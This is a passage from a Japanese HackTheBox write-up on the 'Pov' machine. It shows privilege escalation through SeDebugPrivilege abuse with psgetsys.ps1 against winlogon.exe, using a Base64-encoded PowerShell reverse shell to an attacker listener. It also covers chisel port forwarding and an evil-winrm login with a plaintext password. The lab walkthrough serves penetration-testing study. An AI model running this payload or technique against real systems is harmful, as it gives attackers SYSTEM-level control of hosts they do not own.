```SeDebugPrivilege```が存在しています。この権限を悪用すると、システムメモリから機密情報を取得したり、カーネルやアプリケーションの構造にアクセス、変更が可能です。

まずはSYSTEM権限で実行されているタスクを確認します。

```
C:\Users\alaading\Desktop>tasklist
tasklist

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        156 K
Registry                        88 Services                   0     10,728 K
smss.exe                       288 Services                   0      1,212 K
csrss.exe                      376 Services                   0      5,396 K
wininit.exe                    480 Services                   0      7,004 K
csrss.exe                      488 Console                    1      4,948 K
winlogon.exe                   552 Console                    1     16,404 K
services.exe                   620 Services                   0      9,336 K
lsass.exe                      628 Services                   0     14,560 K
svchost.exe                    752 Services                   0      4,016 K
~
```

多くのタスクが出力されますが、私はいつも```winlogon.exe```を使用します。

## system としてのシェル

それでは、権限昇格しましょう。まずは待ち受けを作成します。

```
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
```

これで準備完了です。
```winlogon.exe```のPIDを指定し、```psgetsys.ps1```を実行しましょう。引数では「PowerShell #3 (Base64)」を使用しています。

```
PS C:\Users\Public\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
[+] Got Handle for ppid: 552
[+] Updated proc attribute list
[+] Starting c:\Windows\System32\cmd.exe...True - pid: 1072 - Last error: 122
```

エラーが出力されてしまいました。。できればエラーが出てほしくなかったですが、このエラーを解消する必要があります。
エラーが出力される原因はシェルプロセスにあるので、```chisel```で5985番ポートをトンネリングし、```evil-winrm```で接続しなおします。

```
-- kali
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ /opt/too1s-l1nux/chisel server -p 9999 --reverse

-- target
C:\Users\Public\Downloads>.\chisel.exe client 10.10.14.8:9999 R:5985:127.0.0.1:5985
```

ポート転送に成功したら、```evil-winrm```で接続しましょう。

```
+[~/pov]
(σ▰>∇<)σ<10.10.14.8>$ evil-winrm -i 127.0.0.1 -u alaading -p 'f8gQ8fynP44ek1m3'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alaading\Documents> whoami
pov\alaading
```

接続できたら、もう一度```psgetsys.ps1```を実行しましょう

```
*Evil-WinRM* PS C:\Users\alaading\Downloads> .\psgetsys.ps1; [MyProcess]::CreateProcessFromParent(552, "c:\Windows\System32\cmd.exe", "/c powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AOAAiACwAMgAxADIAMwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=")
```

特にエラーは出力されていません。待ち受けを確認しましょう。

```
+[/opt]
(σ▰>∇<)σ<10.10.14.8>$ rlwrap nc -lnvp 2123
listening on [any] 2123 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.11.251] 49702

PS C:\Windows\system32> whoami
nt authority\system
```

権限昇格に成功しました～！

```
PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name   
----                -------------         ------ ----   
-ar---         6/9/2024   1:22 AM             34 root.txt 
```

ルートフラグも取得できました！完全攻略達成です！

### 攻略を終えて

今回のマシンはMediumにしてはかなり簡単だったかなと思います。というのも横移動からすべてインターネット上にまとまっている手法だったので、初見でも解きやすかったのではないでしょうか。私自身も知っている手法だったので、迷わずにサクサク攻略できました。
また、初期侵入時のLFIとRCEも脆弱性に気づきやすい感じでした。Windowsへの練習としてかなりおススメできるマシンだと思います。
今後もHackTheBoxのWriteUpを公開していくので、見ていただけると嬉しいです。
最後まで閲覧していただき、ありがとうございました～！